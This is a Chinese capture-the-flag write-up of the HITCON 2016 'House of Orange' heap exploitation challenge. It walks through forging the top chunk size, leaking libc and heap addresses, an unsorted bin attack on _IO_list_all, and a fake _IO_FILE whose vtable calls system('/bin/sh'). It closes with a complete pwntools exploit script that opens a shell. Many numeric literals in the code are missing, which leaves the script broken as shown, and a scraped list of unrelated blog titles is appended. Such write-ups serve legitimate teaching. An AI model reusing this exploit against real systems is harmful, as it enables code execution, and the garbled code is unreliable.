House of Orange
题目附件:https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500
查看程序保护:

发现保护全开,再查看IDA反编译出来的代码,在upgrade()函数中发现明显的堆溢出漏洞:

这题的难点没有free函数,但是对溢出没有限制,且malloc的size我们可以自己控制,所以可以载top_chunk上做文章。
利用思路:
- 修改top_chunk的size小于要分配的size,这样old_top会被放入unsorted_bin中
- malloc一个largebin大小的chunk,此chunk会从已放入unsorted_bin中的old_top切割出来,并在chunk中写入该chunk的地址,并泄漏chunk地址和libc的地址
- 修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell
完整的exp我会放在最后,现在我们分步来看利用过程。
第一步:修改top_chunk的size,并将其放入unsorted bin中。
在ptmalloc的堆管理机制中,首先会取各个bin中找对应大小的chunk,如果找不到,才会去从top_chunk中分割。如果top_chunk的大小也不够,此时有两个选择:
- 如果利用申请的chunk大小小于128KB,利用brk扩展top_chunk
- 申请的chunk大小大于128KB,利用mmap分配堆
为了完成利用,我们需要控制分配的chunk大小小于128KB,也就是利用第一种方式分配chunk。来看看sysmalloc的部分源码:
/* Record incoming configuration of top */
old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));
brk = snd_brk = (char *) (MORECORE_FAILURE);
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/
//前半部分是针对第一次调用此函数,top_chunk没有初始化的情况
assert ((old_top == initial_top (av) && old_size == ) ||
((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - )) == )); //检查top_chunk结束的的地址是否页对齐
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
我们可以发现伪造的top_chunk的size要满足一下条件:
- size要大于MINSIZE(这个我不清楚具体的数值,但是只要不是太小都可以)
- size的inuse位要为1
- old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐
- size要小于你要申请的chunk的大小
部分利用代码如下:
Build(0x80, 'simple', 0x1234, 0xddaa)
payload = '\x00'*0x88 + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64() + p64() + p64(0xf30) #伪造的的top_chunk的size为0xf30
Upgrade(len(payload), payload, 0x1234, 0xddaa)
第二步:申请largebin大小的chunk触发_int_free把old_top放入unsorted bin中
部分源码:
if (old_size != )
{
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space in old_top to do this.
*/
old_size = (old_size - * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
set_head (old_top, old_size | PREV_INUSE); /*
Note that the following assignments completely overwrite
old_top when old_size was previously MINSIZE. This is
intentional. We need the fencepost, even if old_top otherwise gets
lost.
*/
chunk_at_offset (old_top, old_size)->size = ( * SIZE_SZ) | PREV_INUSE; chunk_at_offset (old_top, old_size + * SIZE_SZ)->size = ( * SIZE_SZ) | PREV_INUSE; /* If possible, release the rest. */
if (old_size >= MINSIZE)
{
_int_free (av, old_top, );
}
}
可以看出最后会调用_int_free把old_top放入unsorted bin中
部分利用脚本:
Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
gdb.attach(p)
See()
p.recvuntil('Name of house : AAAAAAAA')
libc_base = u64(p.recv().ljust(, '\x00')) - 0x3c5188
info("libc_base ==> " + hex(libc_base)) payload = 'A'*
Upgrade(len(payload), payload, 0x1234, 0xddaa)
See()
p.recvuntil('A'*)
chunk_addr = u64(p.recv().ljust(, '\x00'))
info("chunk_addr ==> " + hex(chunk_addr))
第三步:修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell
这一部分要用到文件IO的知识。主要函数调用过程为:malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow
先利用unsored bin attack修改__IO_list_all中的值为main_arena + 88,在修改fd时同时修改unosrted bin chunk的大小为0x60。之所以是0x60,是为了让chunk的地址刚好落在chain的位置上。
在malloc时unsorted chunk会被放入small bin中。来看看_IO_flush_all_lockp的部分源码:
if (((fp->_mode <= && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) ==
&& fp->_mode > && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //要想执行_IO_OVERFLOW必须满足逻辑与符号前面的条件为真
绕过检查,上述条件,最终exp如下:
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./houseoforange')
elf = ELF('houseoforange')
libc = elf.libc def Build(length, name, price, color):
p.sendlineafter('Your choice : ', '')
p.sendlineafter('Length of name :', str(length))
p.sendafter('Name :', name)
p.sendlineafter('Price of Orange:', str(price))
p.sendlineafter('Color of Orange:', str(color)) def See():
p.sendlineafter('Your choice : ', '') def Upgrade(length, name, price, color):
p.sendlineafter('Your choice : ', '')
p.sendlineafter('Length of name :', str(length))
p.sendafter('Name:', name)
p.sendlineafter('Price of Orange: ', str(price))
p.sendlineafter('Color of Orange: ', str(color)) Build(0x80, 'simple', 0x1234, 0xddaa)
payload = '\x00'*0x88 + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64() + p64() + p64(0xf30) #伪造的的top_chunk的size为0xf30
Upgrade(len(payload), payload, 0x1234, 0xddaa)
Build(0x1000, 'AAAAAAAA', 0x1234, 0xddaa)
Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
gdb.attach(p)
See()
p.recvuntil('Name of house : AAAAAAAA')
libc_base = u64(p.recv().ljust(, '\x00')) - 0x3c5188
info("libc_base ==> " + hex(libc_base)) payload = 'A'*
Upgrade(len(payload), payload, 0x1234, 0xddaa)
See()
p.recvuntil('A'*)
chunk_addr = u64(p.recv().ljust(, '\x00'))
info("chunk_addr ==> " + hex(chunk_addr)) _IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base
info('-------------------------unsorted bin and build fake file-----------------') vtable = chunk_addr + 0x510
payload = '\x00'*0x400 + p64() + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64()
payload += '/bin/sh\x00' + p64(0x60) + p64() + p64(_IO_list_all-0x10) + '\x00'* + p64() + '\x00'*0xa8 + p64(vtable)
payload += '\x00'*0x18 + p64(system)
Upgrade(len(payload), payload, 0x1234, 0xddaa) p.sendlineafter('Your choice : ', '') p.interactive()
House of Orange的更多相关文章
- 利用Python【Orange】结合DNA序列进行人种预测
http://blog.csdn.net/jj12345jj198999/article/details/8951120 coursera上 web intelligence and big data ...
- orange pi pc 体验(一)
最近在淘宝上看到一款和树莓派差不多的卡片机,定价才99元,而且是国产的,忍不住入手了一个,就是orange pi 感兴趣的可以百度搜索下,深圳一个公司出的,不过资料比树莓派少了很多,论坛中人也没多少, ...
- 《Orange'S:一个操作系统的实现》笔记(一)
感觉自己对于操作系统始终没有一个清楚的概念,尤其最近困扰于实模式.保护模式以及寻址方式等一些概念.转而一想,所有的程序,最终都是操作的计算机资源,需要和操作系统打交道,所以操作系统有必要深入了解一下. ...
- python数据挖掘orange
http://blog.csdn.net/pipisorry/article/details/52845804 orange的安装 linux下的安装 先安装依赖pyqt4[PyQt教程 - pyth ...
- Orange Greenworks
对于steam游戏开发,成就功能是必不可少的. 而Rpgmaker系列无自带的插件或指令实现,且多数游戏作者并无熟练的脚本编写能力,所以~~ 我们要使用外部插件----Orange Work. 这里 ...
- Orange——开源机器学习交互式数据分析工具
Orange为新手和专家提供开源机器学习和数据可视化.使用大型工具箱交互式数据分析工作流程. 交互式数据可视化 Orange的全部内容都是关于数据可视化,帮助发现隐藏的数据模式,提供数据分析过程背后的 ...
- Orange Pi 3 GPIO 笔记
这是我写过的最水的文章 设备:Orange pi H6,Pi 3 引脚图: (使用Wiringpi 查看GPIO) +------+-----+----------+------+---+Orange ...
- 女子监狱第四季/全集Orange Is the New Black迅雷下载
女子监狱 第三季 Orange Is the New Black 3 (2015) 本季看点:该剧由<吉尔莫女孩>.<单身毒妈第一季>编剧杰姬·科恩的打造.由<护士当家& ...
- 女子监狱第一季/全集Orange Is the New Black迅雷下载
本季第一季 Orange Is the New Black 1 (2013) 看点:该剧描述主人公Piper Chapman(Taylor Schilling)在大学里结识了毒贩Alex(Laura ...
- java 泛型没有协变类型, 所以要重用extends, 但使用List<? extends Fruit> 可以是ArrayList<Fruit>()、ArrayList<Apple>()、ArrayList<Orange>(), 因此不能add元素进去
class Fruit{} class Apple extends Fruit{} class SubApple extends Apple{} class Orange extends Fruit{ ...
随机推荐
- CSS学习第三天
定位布局: 相对定位:相对于自身的位置进行偏移position需要搭配left right top bottom position: relative; 绝对定位:相对于有position属 ...
- 2020-03-26:eureka 和其他注册中心比如zk有什么不同?
从eureka工作原理可以看出,eureka client有缓存功能,即使eureka所有的serve都宕掉,仍然能给服务消费者发送服务信息,所以eureka保证了服务可用性,不能保证数据一致性,是一 ...
- ExcelWeb脚本助手,自定义脚本,批量操作Excel与网页
ExcelWeb脚本助手,是一款可以自定义脚本操控Excel和浏览器的工具.提供了简单实用的Excel与Browser的API调用,通过自建脚本或自建项目,随意定制. 可以非常方便的根据Excel中的 ...
- 编译hotspot8
编译hotspot8 ubuntu desktop 18 全新准备与编译过程再记录下: # 建议使用此gcc和g++版本,过高版本比如gcc7或引发编译报错 sudo apt-get install ...
- django自带orm妙用
django对数据库数据进行处理方式通常有以下几种方式: 1.使用原生sql对数据库进行处理:pymysql,cx_oracle 2.使用外置orm模块来对数据库进行处理:sqlalchemy 3.使 ...
- Mapreduce之排序&规约&实战案例
MapReduce 排序和序列化 简单介绍 ①序列化 (Serialization) 是指把结构化对象转化为字节流②反序列化 (Deserialization) 是序列化的逆过程. 把字节流转为结构化 ...
- linux线程控制-2(线程控制函数)
记录肖堃老师讲解的linux线程 1. 创建线程 int pthread_create( (pthread_t *thread, pthread_attr_t *attr, void *(*start ...
- 极简 Node.js 入门 - 3.2 文件读取
极简 Node.js 入门系列教程:https://www.yuque.com/sunluyong/node 本文更佳阅读体验:https://www.yuque.com/sunluyong/node ...
- HDFS概述和Shell操作
大数据技术之Hadoop(HDFS) 第一章 HDFS概述 HDFS组成架构 HDFS文件块大小 第二章 HDFS的Shell操作(开发重点) 1.基本语法 bin/hadoop fs 具体命令 ...
- SSM框架环境搭建
SSM基础环境搭建 创建maven工程 next,finish,等待创建完成,创建完成后,src/main下只有webapp文件夹,我们需要手动创建java和resources,鼠标右击main,ne ...